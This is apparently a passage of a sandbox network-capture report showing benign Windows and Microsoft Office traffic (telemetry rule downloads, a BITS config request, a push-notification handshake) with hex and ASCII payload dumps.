20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:48 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:48 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 07e1bf82-901e-0029-4cbf-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172848Z-178bfbc474bh5zbqhC1NYCkdug00000007r000000000bysg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:48 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49803	2.18.109.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:49 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 17:28:49 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=57846 Date: Mon, 25 Nov 2024 17:28:49 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:50 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 00606c4f-d01e-0014-08c3-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172850Z-15b8b599d88cn5thhC1TEBqxkn000000060g00000000tqm6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49802	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:50 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 42 70 53 6b 6a 6b 52 48 67 30 2b 31 56 36 61 48 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 39 36 66 62 34 61 32 34 38 36 32 61 36 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: BpSkjkRHg0+1V6aH.1Context: 3796fb4a24862a6a
2024-11-25 17:28:50 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-25 17:28:50 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 42 70 53 6b 6a 6b 52 48 67 30 2b 31 56 36 61 48 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 39 36 66 62 34 61 32 34 38 36 32 61 36 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 73 57 41 6d 77 42 2b 42 59 38 37 62 74 32 64 4a 4f 68 6a 61 68 4f 70 70 6f 35 34 71 79 33 38 52 37 53 47 55 45 4f 49 66 6a 73 36 4c 41 5a 62 2f 53 50 54 53 36 2b 79 44 54 39 65 45 6e 76 7a 75 6d 30 75 31 54 50 6f 63 6e 73 61 6a 64 46 57 43 4c 77 50 64 6d 35 38 44 42 79 64 72 30 32 4a 55 64 72 43 76 36 66 7a 63 73 33 31 4d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: BpSkjkRHg0+1V6aH.2Context: 3796fb4a24862a6a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZsWAmwB+BY87bt2dJOhjahOppo54qy38R7SGUEOIfjs6LAZb/SPTS6+yDT9eEnvzum0u1TPocnsajdFWCLwPdm58DBydr02JUdrCv6fzcs31M
2024-11-25 17:28:50 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 42 70 53 6b 6a 6b 52 48 67 30 2b 31 56 36 61 48 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 39 36 66 62 34 61 32 34 38 36 32 61 36 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: BpSkjkRHg0+1V6aH.3Context: 3796fb4a24862a6a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-25 17:28:50 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-25 17:28:50 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 30 58 4f 79 39 6e 50 4b 55 69 4a 43 31 4c 70 50 41 33 5a 55 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: p0XOy9nPKUiJC1LpPA3ZUg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:50 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:50 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172850Z-174c587ffdfb74xqhC1TEBhabc000000067g00000000fm9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:50 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:50 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:50 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 53fe3565-801e-00a3-243f-3e7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172850Z-15b8b599d882zv28hC1TEBdchn000000068g0000000005az x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:50 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:50 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:50 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: ceb426c5-101e-0079-5bf1-3d5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172850Z-15b8b599d88phfhnhC1TEBr51n000000069g00000000n1hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:50 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:50 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172851Z-174c587ffdfdwxdvhC1TEB1c4n000000068g0000000029nt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49809	2.18.109.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:51 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 17:28:52 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=57870 Date: Mon, 25 Nov 2024 17:28:51 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-25 17:28:52 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:52 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172852Z-174c587ffdfb485jhC1TEBmc1s000000063g00000000951w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:52 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:52 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 07e1e155-901e-0029-69bf-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172852Z-178bfbc474bwlrhlhC1NYCy3kg00000007ug000000006p56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:52 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:52 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 20b606c1-d01e-0028-12bf-3e7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172852Z-178bfbc474bwlrhlhC1NYCy3kg00000007qg00000000qtdx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
